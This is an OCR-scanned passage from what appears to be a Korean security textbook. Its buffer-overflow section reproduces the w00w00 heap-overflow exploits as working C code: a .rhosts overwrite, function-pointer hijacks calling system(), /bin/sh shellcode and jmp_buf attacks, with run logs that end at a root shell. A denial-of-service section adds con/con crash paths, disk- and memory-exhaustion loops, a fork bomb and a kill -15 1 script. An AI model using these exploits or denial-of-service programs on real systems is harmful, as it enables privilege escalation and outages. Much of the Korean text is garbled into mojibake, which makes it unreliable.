F Z8x7t Eu 53], HH-E9 strepy o A9 obeiet 42 = %

o] Fojgduhd A5 Buffer Overflow ¢ 7Fs A o] gt

X

<Victim Code>

char Buffer[BUFSIZ];

strcpy (Buffer, argv[l]):;

ol gt 7% strepy + Bound & Check 314 5222 Bound A4 #HE

o 2 #S ¥A H9E Overflow H U
Heap Overflow 2| ofX|

/* demonstrates dynamic overflow in heap (initialized data) */
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[root /wOO0w00/heap/examples/basicl# ./heapl 8
bufl = 0x804e000, buf2 = 0x804eff0, diff = Oxff0 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
9lsh e AWE QErh S bufio] A buz o) AAE Fwwh
AW Fe = AlS valid sHAl o

22  buf2 2] heap space = 4 A&
Rnom mEbA TR AL AT
buf2

bufi
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(u_int) (diff + OVERSIZE));

memset (bufl, 'B',
=

S APANA B vad Zo] nky A Hh
BEBBBBBBBBEBBBBBBBBBBBBBBAAAAAAAA
°F BSSbased overflow & 233 E&H th3 PS5 vi4A Hrh

a}

LY

malloc (BUFSIZE)

char *buf =

static char buf [BUFSIZE]

#19] example & ]9~ 7] A o]¢] o1} o] Z o] heap-based overflow 2] 7]
| 4 filename, password, saved uid 5

<)

2ol Hr} 99 oE AME
overwrite 3¢ 4~ Ut}

Aol 713 F=afor & m=s} vk
(char *)malloc (BUFSIZE), *buf2 = (char

char *bufl

*)malloc (BUFSIZE) ;
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heap based overflow = stack based overflow 2}i= @] o]9} o] <o]o]
A= (et W ZH7ke] 1) buffer & &3t} = heap 9 99l function

pointer & &= SR = Zlolth

/* demonstrates static pointer overflow in bss (uninitialized

data) */

25 compile 3|4 A A A BA,

[root /wOOw00/heap/examples/basicl# ./heap3

bufptr (0x804a860) 0x804a850, buf = 0x804a850, diff = 0x10

(16) bytes
bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10
(16) bytes

of A3E v} of7]A pointer 7} D] A ot= thE XS 7t
o} o] WS AFE-3k= 3 o= temporary filename
pointer 7} argv[1]E 7I&]7]1 =% THEo] & & 9l
& 9+ /root/.rhosts & W} X example 2 Hl, vulnerable program

& st e F1L ©1E exploit 3= ool

/*
* This is a typical vulnerable program. It will store user

input in a temporary file.

*
* Compile as: gcc -o vulprogl vulprogl.c

*/

#include <stdio.h>

213



YEECH Al SgXtE

214



YEECH AT SEXtRE

f

LRIPL oY TN A5 Yehs o T shuldE, 99

RS exploit 3F ZE 10|t
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* This will exploit vulprogl.c. It passes some arguments to
the

* program (that the vulnerable program doesn't use). The
vulnerable

* program expects us to enter one line of input to be stored
* temporarily. However, because of a static buffer overflow,
we can

* overwrite the temporary filename pointer, to have it point
to

* argv[1l] (which we could pass as "/root/.rhosts"). Then it
will

* write our temporary line to this file. So our overflow
string (what

* we pass as our input line) will be:

* + + # (tmpfile addr) - (buf addr) # of A's | argv[l] address

* We use "+ +" (all hosts), followed by '#' (comment
indicator), to

* prevent our "attack code" from causing problems. Without the
* "#", programs using .rhosts would misinterpret our attack

code.

* Compile as: gcc -o exploitl exploitl.c

*/

#include <stdio.h>

#include <stdlib.h>
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I
>
Ral
a1l

fprintf (stderr, "Usage: %$s <offset> [try 310-330]\n",
argv([0]);

exit (ERROR) ;

memset (buf, 0, sizeof (buf)), strcpy(buf, "+ +\t# ");

memset (buf + strlen (buf), 'A', DIFF);

addr = getesp () + atoi(argv[l]):;

/* reverse byte order (on a little endian system) */
for (i = 0; i < sizeof(u long); i++)

buf [DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen (buf) + strlen (VULPROG) +

strlen (VULPROG) + strlen (VULFILE) + 13;

mainbuf = (char *)malloc (mainbufsize);

memset (mainbuf, 0, sizeof (mainbuf));

snprintf (mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf,

VULPROG, VULFILE) ;
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sp, check %s

printf ("Overflowing tmpaddr to point to

after.\n\n",addr, VULFILE) ;

system (mainbuf) ;

return 0;

7Lo] 2] &) A] 7] Erj,

0% thgwt 2

./exploitl 320

[root /w00w00/heap/examples/vulpkgs/vulpkgl]#
check

Overflowing tmpaddr to point to Oxbffffde0,

/root/.rhosts after.

before: tmpfile /tmp/vulprog. tmp
Enter one line of data to put in /tmp/vulprog.tmp:

= /vulprogl

after: tmpfile =
so we

("./vulprogl"),

Well, we can see that's part of argv[0]

know we are
./exploitl 330

close:

[root /wO0O0w00/heap/examples/vulpkgs/vulpkgl]#
check

Overflowing tmpaddr to point to Oxbffffdé6a,

/root/.rhosts after.

/tmp/vulprog.tmp

before: tmpfile
Enter one line of data to put in /tmp/vulprog.tmp:

/root/.rhosts

after: tmpfile
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[root /tmp/heap/examples/advanced/vul-pkgl]#

o] exploit < vulprog 7} gets & A}-8-3}7] W&ol (bound & check 3}%]
%+) ol& ©] &3} buffer & overflow Al 71t} 18|31 o] buffer
vulprog 9| argv[1]®] F45 Ul F584 Fo] di=th wEhA
overflowed buffer ¢} tmpfile pointer Alo]e] 2 & ZE90] overwrite ¥ T},
tmpfile 2] pointer address &= 2] 2] AE HuUlA ey B2 A
7} tmpfile 2] pointer address o] T=H HQ37FE Alof yigfyow F
& g Ak

olg)dt HFHE /M LR AAE JHX 3 b printf &

o

Ay

=
2

N

o] Yolr overflowed data 9} target data A}°]2] address/offset = *|
B 5 vl 28U offset 2 compile & wf W&t wlald $-g=
UHA] offset = ALl =AY F5aAA ok FA g W
Al gtotof Jlith,

2

[e) o] 3
= TYs3

i

T

Ol A 7}A] 2] o &2 A A]o] excutable 3+ heap = H Q3}#| &t} o] o &
<2 address 9] byte order - A| 7S A 2] 5} al= system/architecture
independent 3tc},

o] A pointer & 197 overwrite =% &9t ©]A| function pointer

A== PHS gt o] a9 o5 excutableheap = Z &

e

3t} function pointer & 1 F4E overwrite St WHo g upto] &
Qo o] d4 AgE uj, o] ¥EE 977} YstE U= function
S A Hrh 98 o] AS AFEEA shellcode & AL 5 3

th e sl sbsee,

—l>Hﬂ

]IEE,

o]
code & 2ol Bt} excutable stack Z 8314 T}

[

4], x 9] argument i shell

xo

A, argv[]E °l&st= W

O

%A, heap offset & ©]-&3}i= WHO ap 2] *5-¥ target/overflow

buffer 7} %] 9] offset & guessing ¢t} ©] 3 9 A] excutable heap Z 2.3}
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b gF-Ee] Al 2Elo A= stack H.UH= heap ©] excutable & 2HE-0]
=t} Wb heap method 7} B A& &Ho] &t}

T HA WH-E g2l offset & 7FA]aL oJw gt function o] FTAE
guess 3t Zlolt}. ¥hoF = e system()2] HIXE €W, AT
717hE offset & 7F& Aot o] WOl FAE excutable ¥ H 8+ glvt
= Aotk 7 WA WS AlgEo] Folste olfr= wWestr] witolth
2]+ exploit 9 system()2] 45 AFE-3A] vulprog 9 system()<]
offset & F= 4= 911, o= remote A= FL3It}h. EF 0OS, ARCH,
ver & ZThl 7R stack WHS AHESH fE= FololEA4 &
I Q3L T3 FE 5= function pointer & H R ® A Zeth U

excutable stack & Q.2 3ttp= HolA okt & ES 7RI

tho] Z2ae 9] F 7HA] WHE AP 3HE test F+ program ©|th.

/*

* Just the vulnerable program we will exploit.

* Compile as: gcc -o vulprog vulprog.c (or change exploit
macros)

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <string.h>

#define ERROR -1

#define BUFSIZE 64
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>

=
int goodfunc (const char *str);
=/

/* funcptr starts out as this

{

int main (int argc,

char **argv)

static char buf [BUFSIZE];
static int

(*funcptr) (const char *str);

if (argc <= 2)
{
fprintf (stderr, "Usage:
exit (ERROR) ;

}

%s <buf> <goodfunc

arg>\n",

argv[0]);
printf (" (for 1lst exploit) system() = %p\n",
printf (" (for 2nd exploit, stack method) argv[2] = %p\n",
argv([2]);
printf (" (for 2nd exploit, heap offset method) buf = %$p\n\n",
buf) ;
funcptr = (int

(*) (const char *str))goodfunc;
printf ("before overflow:

funcptr points to %p\n",
memset (buf, 0,

funcptr) ;
sizeof (buf));
strncpy (buf, argv[l],

strlen(argv([1l]))
printf ("after overflow: funcptr points to %p\n",

funcptr) ;
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(void) (*funcptr) (argv([2]);

return 0;

/* This is what funcptr would point to if we didn't overflow
it */

int goodfunc (const char *str)

{

printf ("\nHi, I'm a good function. I was passed: %s\n", str);

return 0;

A iAo o]t

/'k

* Copyright (C) January 1999, Matt Conover & WSD

*

* Demonstrates overflowing/manipulating static function
pointers in

* the bss (uninitialized data) to execute functions.

* (bss W9 static function pointer & overflow AlAA FFH
library o] S5 Al&3l= HHO demo)

* Try in the offset (argv[2]) in the range of 0-20 (10-16 is
best)

* To compile use: gcc -o exploitl exploitl.c

*/
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sysaddr = (u_long) &system - atoi(argv([l]);

printf ("trying system() at 0x%1x\n", sysaddr);

memset (buf, 'A', BUFSIZE)

/* reverse byte order (on a little endian system) */
for (i = 0; 1 < sizeof(sysaddr); i++)

buf [BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

execl (VULPROG, VULPROG, buf, CMD, NULL);
return 0;

}

9l exploit & compile 314 A PA|ZIchA, T3 T A9E A
ot

[root /wOO0w00/heap/examples]# ./exploitl 16

trying system() at 0x80484d0

(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = Oxbffffd3c

(for 2nd exploit, heap offset method) buf = 0x804a9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x80484d0

bash#

Uhe2 7 #A R o]t argv(], heap offset WH F 7S A

o
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/*
* Copyright (C) January 1999, Matt Conover & WSD

*

* This demonstrates how to exploit a static buffer to point
the

* function pointer at argv[] to execute shellcode. This
requires

* an executable heap to succeed.

* (excutable heap‘ﬂ shell code & %lﬂ(argv[] method) static
buffer & overflow AlAAl shell code & *Ads}I=F str}. o] WHS
stack ©]t} heap |t} FLIT}H. )

* The exploit takes two argumenst (the offset and
"heap"/"stack") .

* For argv[] method, it's an estimated offset to argv[2] from
* the stack top. For the heap offset method, it's an estimated
offset

* to the target/overflow buffer from the heap top.

*

* Try values somewhere between 325-345 for argv[] method, and
420-450

* for heap.

*

* To compile use: gcc -o exploit2 exploit2.c

*/

#include <stdio.h>

#include <stdlib.h>
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#include <unistd.h>

#include <string.h>

#define ERROR -1

#define BUFSIZE 64 /* estimated diff between buf/funcptr */

#define VULPROG "./vulprog" /* where the vulprog is */

char shellcode[] = /* just alephl's old shellcode (linux x86)
=/
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"

"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

u long getesp ()

{

asm ("movl %esp,%eax"); /* set sp as return value */

}

int main (int argc, char **argv)
{

register int 1i;

u long sysaddr;

char buf [BUFSIZE + sizeof(u long) + 1];

if (argc <= 2)
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| stack>\n",

fprintf (stderr, "Usage: %s <offset> <heap
argv([0]);
exit (ERROR) ;
}
if (strncmp(argv[2], "stack", 5) == 0)
{
printf ("Using stack for shellcode (requires exec. stack)\n");
= getesp () + atoi(argv([l]);
sysaddr) ;

sysaddr =
address\n\n",

printf ("Using 0x%1lx as our argv[l]

memset (buf, 'A', BUFSIZE + sizeof(u long));

}

else

{
printf ("Using heap buffer for shellcode "

" (requires exec. heap)\n");

- atoi(argv([1l]);
sysaddr) ;

sysaddr (u_long)sbrk(0)
printf ("Using 0x%1x as our buffer's address\n\n",

if (BUFSIZE + 4 + 1 < strlen(shellcode))

{
fprintf (stderr,

"error: buffer is too small for shellcode

%d bytes)\n", strlen(shellcode));

"(min.
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exit (ERROR) ;

strcpy (buf, shellcode)
memset (buf + strlen(shellcode), 'A',

BUFSIZE - strlen(shellcode) + sizeof(u long)):;

buf [BUFSIZE + sizeof(u long)] = '\0';

/* reverse byte order (on a little endian system) */
for (1 = 0; 1 < sizeof(sysaddr); i++)

buf [BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

execl (VULPROG, VULPROG, buf, shellcode, NULL) ;

return 0;

When we run this with an offset of 334 for the argv|[] method
we get:

[root /wOO0w00/heap/examples] ./exploit2 334 stack

Using stack for shellcode (requires exec. stack)

Using Oxbffffdl6 as our argv[l] address

(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = Oxbffffdl6
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(for 2nd exploit, heap offset method) buf = 0x804a9%9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to Oxbffffdlé6

bash#

When we run this with an offset of 428-442 for the heap offset
method we get:

[root /wOOw00/heap/examples] ./exploit2 428 heap

Using heap buffer for shellcode (requires exec. heap)

Using 0x804a9a8 as our buffer's address

(for 1st exploit) system() = 0x80484d0
(for 2nd exploit, stack method) argv[2] = Oxbffffdlé

(for 2nd exploit, heap offset method) buf = 0x804a9a8

before overflow: funcptr points to 0x8048770
after overflow: funcptr points to 0x804a9%a8

bash#

o] 7] A, kA2 exploit 21 jum_buf(setjmp/longjmp) S AF-&3F HHol of
3 tF7]2 3t jum_buf & stack frame 2 A gslal Qom o A
= ] o]X o= jump AlAFYL wEkA 7ok setjmp()<} longjmp()
Aol & overflow A1 4= dthd, o] oz FY 5 Utk va2

jum_buf for x86 exploit ©]T}. < tE arch o] isliA+= Fgke] FA o]
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{
%s <stringl> <string2>\n");

fprintf (stderr, "Usage:

exit (ERROR) ;

}

printf (" [vulprog] argv([2] = $p\n", argv([2]);
printf (" [vulprog] sp = 0x%1x\n\n", getesp()):
if (setjmp (Jmpbuf)) /* if > 0, we got here from longjmp () */

{
fprintf (stderr, "error: exploit didn't work\n");

exit (ERROR) ;

}

printf ("before:\n") ;
0x%1x\n",

printf ("bx = 0x%1x, si = 0x%1lx, di =
jmpbuf-> bx, jmpbuf-> si, jmpbuf-> di);

printf ("bp
jmpbuf-> bp, jmpbuf-> sp, jmpbuf-> pc);

/* actual copy here */

strncpy (buf, argv([l], strlen(argv[1l])):

printf ("after:\n");
0x%1x\n",

printf ("bx = 0x%1x, si = 0x%1x, di =
jmpbuf-> bx, jmpbuf-> si, jmpbuf-> di);
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printf ("bp = %$p, sp = %$p, pc = %p\n\n",

jmpbuf-> bp, jmpbuf-> sp, jmpbuf-> pc);

longjmp (jmpbuf, 1);

return 0;

91 9] program ©| stack pointer & HoJU= ol ZEAEC] 47

offset & F5 F UL |F7] A% wjefeth

/*k

* Copyright (C) January 1999, Matt Conover & WSD

*

* Demonstrates a method of overwriting jmpbuf's
(setjmp/longjmp)

* to emulate a stack-based overflow in the heap. By that I
mean,

* you would overflow the sp/pc of the jmpbuf. When longjmp ()
is

* called, it will execute the next instruction at that
address.

* Therefore, we can stick shellcode at this address (as the
data/heap

* section on most systems is executable), and it will be

executed.

* This takes two arguments (offsets):

* arg 1 - stack offset (should be about 25-45).
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[root /wO0O0w00/heap/examples/vulpkgs/vulpkgd]l# ./exploitd 36
322
trying address Oxbffffcf6 for argv[2]

trying address Oxbffffb90 for sp

[vulprog] argv[2] = Oxbffffcf6

[vulprog] sp Oxbff££fb90

before:
bx = 0x0, si = 0x40001fb0, di = 0x4000000f
bp = 0xbffffb98, sp = Oxbffffb94, pc = 0x8048715

after:

bx = 0x1010101, si = 0x1010101, di = 0x1010101

bp = 0xbffffb90, sp = 0xbffffb90, pc = O0xbffffcfb
bash#

Ol A| 7} A= control ¥ 73l 4 2] overflow % T} heap ©l sensitive 3+ 7

BE 93 oA overflow 7} 73t st-E2 v )

functions reason

1. *gets () /*printf (), *scanf () __iob (FILE) structure in
heap

2. popen () __dob (FILE) structure in
heap

3. *dir() (readdir, seekdir, ...) DIR entries (dir/heap
buffers)
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4., atexit () static/global function
pointers

5. strdup () allocates dynamic data in
the heap

7. getenv () stored data on heap

8. tmpnam () stored data on heap

9. malloc() chain pointers

10. rpc callback functions function pointers

11. windows callback functions / func pointers kept on heap
12. signal handler pointers function pointers (note: unix
tracks in cygnus (gcc for win), these in the kernel, not in

the heap)

oAl 9 FrE EEE ¢ F dS Holth

printf()'s, fgets()'s, readdir()'s, seekdir()'s, ete. ©] FILE structure & <3+
FFGA] wHEHA 22E oA 4 Q) atexit()© program ©] T 5= df
% =%+ function pointer & 7}A]aL 1t} strdup() & heap il
string(filename, password) 5= *°& 3t} malloc()©] chain pointers & 3~
Bt o kmshA] e WEe g 24 F St getenv)=
heap ©| data & A3, $HOME 5 23 & J=sF & =}

sve/rpe registration fuction € heap o 7159 452 A3

ZEIAPL Abgo] ¥HE 7 = Q7] wjiEell Aol o
gk 100% HFHLE s Aolvk. wEb HAdo AL ARl glo]
cording & 3} 7 o]t} stack-based overflow 2} heap-based overflow =

st g wHel ek

X,
o
l-fET
il
19
=
[
>,
i
2,
rlo
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sloF & Rolth B, A

= A Auel Gk RS Aoz gAe Aok 3 Aol

&) AKX XS 7]|% http://www.ezsecurity.co.kr

e

sty ustn Y2~ ®Bolk A3 htip://www.plus.or.kr/

KISA http://www.kisa.or.kr/

Progressive Web Group COOL4U http://www.coolqu.co.kr/

St A W K $ 71291 http: //www.certec.or.kr/

GNU HACKER http://gnuhacker.com/
Robert Graham http://www.robertgraham.com/pubs/sniffing-

faq.html/#detect

3+ 2= http://www.hackerschool.org/

&) 3 -4 = 2] o}, http://www.superuser.co.kr/
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9. Denial of Service Attack

9.1. Denial of Service Attack 2| 72

Denial of Service & multi-tasking & #| g3l =G A Al A 2 5= 9]

rr

W

L 37 PR TAHCE & ST Asu Pand B4
(hogging)st/Aut, 55 ALgs) M ALY, shjstel s o] Alzglo] the A}
FAENA SULE AN 2 AFHA B3 BEE AS B

qejme, Aze] Gl el EAE of7) A7

rr
i
rn
O%
a1
i

denial of service(DoS) ¥Zolgtal F-27] wFo ol & 3= vl o}

&gk ol FAE F Ak AVIA A AH] = AR ol e gl
DoS 7} oA o m MAel ¢ QIA|NE ARg AL o ek Aakgle] A
T2 A & 5 glvks ARt

H] % denial of service = A| =Bl XA ZA|(FE dAgte] 5, A~
eloji} ALz} dlolEle] L} ME)E 7| XX = EHA|TE AlaHe] A

AR ol EAMER Y A28 MH| A 5o RS of7|A[F o
2 AMEAEY] B ERS A " aYEE A 2E dEaE

denial of service 7} Lo]A o2 UAPH HAF= YA HIAE ol A
e AAete] A&e] HAlE AT ORMN AREAEOAl A g Auj
st = Al slFefoF gt sk R ) F-E9] denial of service 34
o] 5ol ¥4& #AAs olE "7t wlf- ofHus ZojBE o] ¥4

o 7R 718 A4 5 AAh

Ll
2
ot
ol
%

Oiite] AE7HEe] TEd71E DoS w42 9ol el 54, Uil
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E A%S 358 ¥4l oheks AL meldthd 2 onE 7}

A % Qral B e gtk sAw A Abge] Aow Aswe w)

e AlAH
Microsoft WebTV 7} A}-8-%21 Windows ME, 98, 98 SE
S AlAH Ao

A YA FA7F Aol A webTV 7 A& E a1 gl Al 289 22701-
22705 ¢] XEFC| oW port =1 udp WS Bll= A5, T A =H
o] % AY webTV X2 130] HAX| &= FA7F ot (89
WebTV ZZ71% 3}2= annclistexe o] ¢J&] ddur}) £3

.

Fl

E

[

Fl

rE
22703 HO & udp AR S Bl 45, A5 A 2=H 9] rebooting ©|
L2h=

EE

ol

ﬂllﬂ
o
)
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i
rlo
o
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=
)

MS Ahe] fUso] Aol A ofee] w13

® Microsoft WebTV for Windows ME:
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9.2.2,

= http://download.microsoft.com/download/winme/Update/12278 /W
inMe/EN-US/274113USAM.EXE

® Microsoft WebTV for Windows 98 SE:

= http://download.microsoft.com/download/wing8SE/Update/12278/
Wo8/EN-US/274113USA8.EXE

® Microsoft WebTV for Windows 98:

= http://download.microsoft.com/download/wing8SE/Update/12278/
W98/EN-US/274113USA8.EXE

AOL Instant Messenger 2| DoS #| &
e AAE

AOL Instant Messenger 4.1.2010 & A}-&3}3l 9= MS 9%9-% ox, NT,

2000

Mo
= o

AOL IZ=HE wAA = 2249 AH AREAE 918 AR F41 A4
2E2, F87]% & AOL IZHE w2A AREAZEe] A Y /o]t
kA %2 A, e-mail $4, FAEFA, Y T OFE 7S A
t}, 2# 49 AOL QIAEE WAA 4.1.2010 HAE 59 '%s'FAS *
et wdo)Ee wd dE5S tE u DoS(HH|AAR) FAS T

F 9 AHS A3 vk

M

MS A== NT Y 2000 2 AFE3HE 94 AF&Ao Al th=2] '%s' o] &
o e (ol %5%s%s%s%s%.jpg)e E 3, AOL I~HE wlAlA] = o
HAE A2"E w40A ol vepiie] & Zlolt)h ofuf AOL JIAHE
HAAE @ 528 Uo7 crash 9ot AOL QIA~HE wA A7} thA] A

| #ali= o] of&e7lolde vl AlzteloF gt o]

o
)
l-'O
N
olr
o
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o
N
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MEEO AR SRR

28k 713k DoS &40 osiAE AOL A AHE mjAlA] L2 18 o]

crash ¥+= Zo] dubdoly, =&EA= MS 9% AA|7F Bt A tf

o}z %] g aWo] oF L}o} glomE HAEE AOL QAHE wAlA

4.1.2010 HA o]99] thE WA AHE sk Al Frh

MS 22| MSDOS ClHlo[A 4[]S o|&St DOS 34

OH

ol

HEh AlAE

MS 2% 95,98, 98SE

VS|
= o

[m]

MS 9% 95,98 ¢ Fx4 ¢l A7 wjiEol local, remote AH&AHE0]

reserved ¥ DOS t]djo] A~ el e

EN

3l path 9} filename ©] X3t =2
AlZ=Elo] ZhAgl request & X -9 (ex device\device ¢ @& 2o
2) Al="o] ted 71 At

olZgt TAIE WAL F Uxe Huto]l2 HdES e AR oY
] At} CON, NUL, AUX, PRN, CLOCK$, COMx, LPT1, CONFIG$°] “L#A
olt}..

o] HHE o] &F AU AAFTAL Theke o= o]Fold 4 9t}
Local AF-8A= MS Y=y =2~ ZEIZEA device\device 2 34
& open ot A o® A AHLS v A glow, § AR AMREH=
A Ho]A el <img src="c:\con\con">2}= FEHS YojEi o F-o A

A5 B3 AT § dHolAE HepeA sl HWA AA Al =E o]
=
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MPRAZIA 2 QR M o]d 402 wings L} wing8 Al A~ES e A7
I St} 714 remote AFEA 7} ftp Y §, = netbios & ‘&3t share 7]

T °8E W v5dt 2ol & A5 @l wings, 98 Al AHE T

FTP: ftp> 1ls nul/nul
WWW: http://target/con/con

\\target\prn\prn

samba client 7} Zd 3+ FY 2 A|2~HO| A X uwlz7FA] & netbios & AF

&3to] wings Y 98 Al RS T Al 4= lH

[unix]$ smbclient '\\¥%E netbios Y% \share C]HAEZ]"
Password:
smb:\> cd con\con

A7 Zol

w3 gSy 3 A" 7153l Explorer 2] URL -4

J

\\Target hostip & WolR =} ojuf Aot AFH S T/7F € 20E &
obdl 4= vt olu] FF7} write 7FA] HojdvkH Ao HAFH A
kSt 2 A~ Bl AbA] 8 4 itk oh, Explorer oF A%=9-9] A%

QRS ol A,

dl) \\Target Host IP\&FEZT|\con\con HEi= file:////Target Host
IP\TFEEH\con\con

s) 714 Ff7F read ¥ HoldolE attack 7Fs3EITE.

ol ¥AS WS W, Ik AL A S0 dtsiuie o
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klusz.com 2] R4IN Ho| 2]3}H, 9]
891, Ul IJAEE ofd = glo] FR7ISS AEEloF skt o]
HIE o] &3t ALY BE AFHE e Al F oA Ao

71 A8 deoltt.

1= A9 concon(EE)H 18l
o3

® Microsoft Windows 98.0se:

*  Microsoft patch 256015USA8

»  http://www.microsoft.com/downloads/release.asp?ReleaseID=1938

9

® Microsoft Windows 98:

»  Microsoft patch 256015USA8

=  http://www.microsoft.com/downloads/release.asp?ReleaseID=1938

9

® Microsoft Windows 95:

*  Microsoft patch 256015USA5

»  http://www.microsoft.com/downloads/release.asp?releaseID=19491
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9.2.4.

Solaris System ol|A{2| DDoS Attack 2| ¢[&4A

-

ol

HE AlAE

statd, cmsd, tooltalk, ttdbserverd 2] RPC AH|~E A& %<l Solaris A]

2~El x86 FE &

Azt oaf W3 A" AR ¢ trinoo, TFN,
TFN2K Stacheldraht & 213 E5o0] AXE 4= gl o] T2 E
& 25 A% ¢l Distributed Denial-of-Service & 2ol Al-&%+= T4 &

tool o] t}.

solaris A < 2]

<
] client 2 °]&F& 47} Ut

® rpc.statd port bounce
® rpc.cmsd buffer overflows

® ttdbserverd buffer overflows

tooltalk buffer overflows

ol

EL

SUN o] A= 9]9] HFHS 1 ekslr] 913 patch & ov] Wxatgl on
T AbolEo A o5 73 & itk

http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-

license&nav=pub-patches
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9.2.5.

HEBO ALF SRR
T &5HX| 22 RDP(Remote desktop Protocol) HI0O|E{<Q|
Terminal Service ol Cli gt Dos 24

NN

o

ol

Microsoft Windows Server Server 4.0, Terminal Server Edition
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server

Microsoft Windows 2000 Datacenter Server

Mo
=2Oo

Windows Server 2} Windows 2000 °l| <1 ¢] Eju]d A H]2~2] RDP(Remote
desktop Protocol) 7387 SF= 3l SEAFE L doly #HH =
geol dsid Hulgd Aujart e3bsS dod 5 o, A= A7t
AMH| 2B 7F "k

of Ak @A FAA 54T Al 7 =5E RDP(Remote
desktop Protocol) X E=Z X3l Fut QltpH o]& 7H&3irh AH]| 2 B
BEfel AH= AFE ForM A An|2Tt Zhssid w4 A 118 5
ol AJHEE H7F E7Fs st

RDP(Remote Terminal Protocol) : Windows EJ7|g v} Zglo]AdEV}
MNE AZAANZ]7] 98] AHgshs ZREZRA, FHoJEE 7] 99 #%
W ouke- 25 ARE Ao dEetr] flal o] TREZFS AREsHH, A
He siEd ARE SEoAER HAFs u] o] Z2EFS AFE-Sr)

Alz=glol wE sfAE A&

o

o},

® Windows Server Server 4.0, Terminal Server Edition:
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= http://www.microsoft.com/Downloads/Release.asp?ReleaseID=332
50
® Windows 2000 Server and Advanced Server:
»  http://www.microsoft.com/downloads/release.asp?ReleaseID=3338
9
® Microsoft Windows 2000 Datacenter Server:

»  Microsoft Windows 2000 Datacenter Serve ol th3l 3| 2] += 3} =9

ofel we} SlEE 77 st=dlo] AxfAte Eolstes .

9.3. Denial of Service Attack £ 0|&2%t 24 & 2 oA

9.3.1.

9y ATRE B FYL U, VR Pro] opnEs s,

System L{Fo0lA{2] Attack

A mE 52AA HPeRA Abed Atk AAE o)F AsAE 0w
$C A= A 2AYES ol g3te] shs stk SAw oleld T Wy

M
Lo
il
hinss
B
il
-0,
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)
o
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o,

ol
o
o
e
e
S

m

ES A g5sk=

= AREAES] AR QM A A9k tiEolEhal = 4 sl
of#fe] HAE o5 T DoS FA0] oJEA FHesAEA A B
=5 @A F4 T dE DoS FAME oteellA afEHE o)A da

T = we Wl EAgths Aol

N2RE ASAA G WAolt, A4S uH & & Y] Ao
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5}2)S Qb (open) 7L 912 unlink A1t} o] FEo] il of
A o] A S #4138 ¢lo] & Do} Ytk unlink A7) Fol 5

Qo) 2712 Beg FARORA B A2DE HE A FORA

/*#include <io.h>
#include <stdio.h>
#include <process.h>
“/

#include <stdio.h>

#include <sys/file.h>

void main ()
{
int ifd;

char buf[8192];

ifd=open ("./attckfil",O0 WRONLY|O CREAT,0777);
unlink ("./attckfil");
while (1)

write (ifd,buf, sizeof (buf));

of Ao tg sd Wetewy PAlY TaAas dopfold Fol:
o)tk AW o] el Al LRAAE ol AL ul o
A el psih e WS ol gste] FAY ZRAAE oy
Q
[e)

Hk

AL shoffe Alawlo] Ao Aol Rehr] wlitel o]2gk W

=

e
o
2

S

11213 Shed i 2 BASA et A dEeld, 2enw o &
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{0

Tor

ﬁw

—_

04

-

<0

AdHow AAA

2 Fole Al "u(el= A 4

J

ol

—_
file)

14 quota

off ths

=
=

A

HEE #4

T

A AE] FFoR AL

o] o)
o} Hthrt Aol

[e)

=

Ay

s
H

o] 9t} o}

25 AN ZN A|AEHS wpH Al 7] =
A B

3L

o

H(swap)

Ea

F-oll

1

h s

1
T

bR o] tmp T EL s} o] ole] ALgA
o}

¢}
B ALS

5
&

o)

Al
T1

LA 0 2A

]

HA e

°©

R
N

87

S

Z2t

o))
=

-
T

o]

T

NE =
=

=2 A

3

&}od

o

zadye st

Ay

HAl A

o)
malloc (1000) ;

#include<stdio.h>
€

ps 7HA &&

9] DoS & F74
u=Z 2A

void main ()
char c;

while (1)
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o] FAo] gt sAyeto = wRreEyF B 1dE T ¢ ol v
BEE g9 S 4= 7] wjEo] & X 2 A4~ (ex. hanterm or xterm)=

A ofzrel WEHE HRE b ps & ol §ekel Al EeAss
Zolt= Zlolt), s o] Wie] RE UNIX A 7Fs@ 3lo] oha

Azgle] web 48 Folme: A9 9eg 78] v,
)

dlo

rr
o

e e ate] Ao A 5 v
At T2A A7 A4 FHH Fg W (allocated) W 2] 7F 5 AVE 7FE 6t
Al(free) s = ThA] A|2=Hlo] AFA 072 Fol oA Hrt o= +JAA
7F RrEAl Algafor & 5459 shrtolmE it o] UNIX o4 A9l
gt Joh EAle] ZRAAE Fohlle WHo] FHd A Heo W
WO AIZBS A AlASHA abe ol s ¢ Al

wo® TrAAE Fole Wl Stk v dAls EAsts Be
T ZAAE Foli= W olth o] init ZEZ A 2o SIGTERM Al 1dE-S

Hyowy 75 sttt

#define SIGTERM 15 /*software termination signal from kill */

29e] dolEE sl sk W oA A2HE A BERUR 1
St gyolnE FE A% 5 F @ 5 At AFNN % 43

# run as root to kill all processes
#!/bin/sh

sync
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Tor
__Io._H
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oJ
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<0

o] oAl Al

o

=

o At o

BE 3Z(full) Ao 2 o] Fo]x

[e)

ojty. dutHq o FHdo] whsojd u 7hsdh

A2 Eo] i

Ay

kill -15 1

9]

0

W
i

=2}
H

s

A Z1A =

=0
=

1A A A

<

fork () ;

A AaE Y] BE Mu|AT7E A SaE A dn AAlR H)

while (1)
fork () ;
main () ;

B 7} = ATt
void main ()
void main ()

r

—_
file)

—

03

uf Trwe) ggdel] weEh #E|AE e A o

s}

19 o] W

Al
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o]L
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AAEA 7= 5= Hhel ik

ZAAE Lolfo
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0
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9.3.2.

